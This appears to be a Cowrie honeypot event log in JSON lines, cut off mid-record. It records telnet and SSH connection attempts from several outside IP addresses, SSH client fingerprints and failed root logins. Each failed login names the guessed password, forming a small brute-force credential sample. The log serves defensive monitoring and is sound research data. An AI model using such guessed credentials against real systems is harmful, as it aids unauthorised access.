{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42770,"dst_ip":"10.17.0.5","dst_port":23,"session":"c71cc85ea865","protocol":"telnet","message":"New connection: 152.42.224.71:42770 (10.17.0.5:23) [session: c71cc85ea865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:21.135480Z"}
{"eventid":"cowrie.session.closed","duration":31.496366500854492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:26.424060Z","src_ip":"152.42.224.71","session":"460b482aec07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00142621994019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:28.421948Z","src_ip":"152.42.224.71","session":"e7cd6e6b6b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":44256,"dst_ip":"10.17.0.5","dst_port":22,"session":"b969588e63d7","protocol":"ssh","message":"New connection: 196.189.237.92:44256 (10.17.0.5:22) [session: b969588e63d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:31.026332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:31.031336Z","src_ip":"196.189.237.92","session":"b969588e63d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:31.206245Z","src_ip":"196.189.237.92","session":"b969588e63d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290685","message":"login attempt [root/290685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:31.918710Z","src_ip":"196.189.237.92","session":"b969588e63d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:33.091379Z","src_ip":"196.189.237.92","session":"b969588e63d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":40564,"dst_ip":"159.203.135.109","dst_port":22,"session":"dea18d166f29","protocol":"ssh","message":"New connection: 103.75.183.219:40564 (159.203.135.109:22) [session: dea18d166f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:33.380856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:33.385902Z","src_ip":"103.75.183.219","session":"dea18d166f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:33.631985Z","src_ip":"103.75.183.219","session":"dea18d166f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfcbkbq","message":"login attempt [root/dfcbkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:34.370362Z","src_ip":"103.75.183.219","session":"dea18d166f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:35.619265Z","src_ip":"103.75.183.219","session":"dea18d166f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99064016342163,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:40.489154Z","src_ip":"152.42.224.71","session":"cee9efefec9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.29069900512695,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:43.954460Z","src_ip":"152.42.224.71","session":"d89c14ad3bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":29898,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fca00b84207","protocol":"ssh","message":"New connection: 171.244.201.80:29898 (10.17.0.5:22) [session: 8fca00b84207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:51.087998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:51.097667Z","src_ip":"171.244.201.80","session":"8fca00b84207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52006,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd6dfd5c821","protocol":"telnet","message":"New connection: 152.42.224.71:52006 (10.17.0.5:23) [session: ecd6dfd5c821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:51.217162Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:51.437027Z","src_ip":"171.244.201.80","session":"8fca00b84207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhouying","message":"login attempt [root/zhouying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:53.676283Z","src_ip":"171.244.201.80","session":"8fca00b84207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.44463109970093,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:55.572368Z","src_ip":"152.42.224.71","session":"5c98391044ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:55.732329Z","src_ip":"171.244.201.80","session":"8fca00b84207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"971de45e17b5","protocol":"telnet","message":"New connection: 152.42.224.71:42416 (10.17.0.5:23) [session: 971de45e17b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:59.395059Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0257328a7e","protocol":"telnet","message":"New connection: 152.42.224.71:42286 (10.17.0.5:23) [session: 7b0257328a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:06.939605Z"}
{"eventid":"cowrie.session.closed","duration":50.376473903656006,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:11.511823Z","src_ip":"152.42.224.71","session":"c71cc85ea865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42296,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac05fc40bfb","protocol":"telnet","message":"New connection: 152.42.224.71:42296 (10.17.0.5:23) [session: cac05fc40bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:12.184446Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45704,"dst_ip":"10.17.0.5","dst_port":23,"session":"6836b2fcb1fe","protocol":"telnet","message":"New connection: 152.42.224.71:45704 (10.17.0.5:23) [session: 6836b2fcb1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:25.300349Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58578,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c0f9c19306e","protocol":"ssh","message":"New connection: 37.233.85.71:58578 (159.203.135.109:22) [session: 0c0f9c19306e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:25.430938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:25.436455Z","src_ip":"37.233.85.71","session":"0c0f9c19306e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:25.541952Z","src_ip":"37.233.85.71","session":"0c0f9c19306e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjghjghj9!","message":"login attempt [root/ghjghjghj9!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:25.858133Z","src_ip":"37.233.85.71","session":"0c0f9c19306e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:26.965833Z","src_ip":"37.233.85.71","session":"0c0f9c19306e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42474,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a90db5073a4","protocol":"telnet","message":"New connection: 152.42.224.71:42474 (10.17.0.5:23) [session: 9a90db5073a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:33.921709Z"}
{"eventid":"cowrie.session.closed","duration":39.6628532409668,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:39.057787Z","src_ip":"152.42.224.71","session":"971de45e17b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.7203898429870605,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:39.641958Z","src_ip":"152.42.224.71","session":"9a90db5073a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53438,"dst_ip":"10.17.0.5","dst_port":22,"session":"72539f03432e","protocol":"ssh","message":"New connection: 62.133.63.178:53438 (10.17.0.5:22) [session: 72539f03432e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:44.573093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:44.774195Z","src_ip":"62.133.63.178","session":"72539f03432e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:44.901012Z","src_ip":"62.133.63.178","session":"72539f03432e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carbon","message":"login attempt [root/carbon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:45.294303Z","src_ip":"62.133.63.178","session":"72539f03432e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:46.423350Z","src_ip":"62.133.63.178","session":"72539f03432e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":37866,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7fc2aa40adf","protocol":"ssh","message":"New connection: 196.189.237.92:37866 (10.17.0.5:22) [session: f7fc2aa40adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:54.468789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:54.473851Z","src_ip":"196.189.237.92","session":"f7fc2aa40adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:54.652324Z","src_ip":"196.189.237.92","session":"f7fc2aa40adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comanche","message":"login attempt [root/comanche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:55.364932Z","src_ip":"196.189.237.92","session":"f7fc2aa40adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49650,"dst_ip":"10.17.0.5","dst_port":23,"session":"16568dc2d5f1","protocol":"telnet","message":"New connection: 152.42.224.71:49650 (10.17.0.5:23) [session: 16568dc2d5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:55.970939Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:56.539409Z","src_ip":"196.189.237.92","session":"f7fc2aa40adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00160932540894,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:57.252254Z","src_ip":"152.42.224.71","session":"2df190d1fb8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.38662099838257,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:26:58.326096Z","src_ip":"152.42.224.71","session":"7b0257328a7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37156,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b8fe4616f4b","protocol":"telnet","message":"New connection: 152.42.224.71:37156 (10.17.0.5:23) [session: 7b8fe4616f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:14.830228Z"}
{"eventid":"cowrie.session.closed","duration":87.83557438850403,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:19.052699Z","src_ip":"152.42.224.71","session":"ecd6dfd5c821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":38258,"dst_ip":"10.17.0.5","dst_port":22,"session":"274f236d0db8","protocol":"ssh","message":"New connection: 171.244.201.80:38258 (10.17.0.5:22) [session: 274f236d0db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:26.923577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:26.928774Z","src_ip":"171.244.201.80","session":"274f236d0db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","di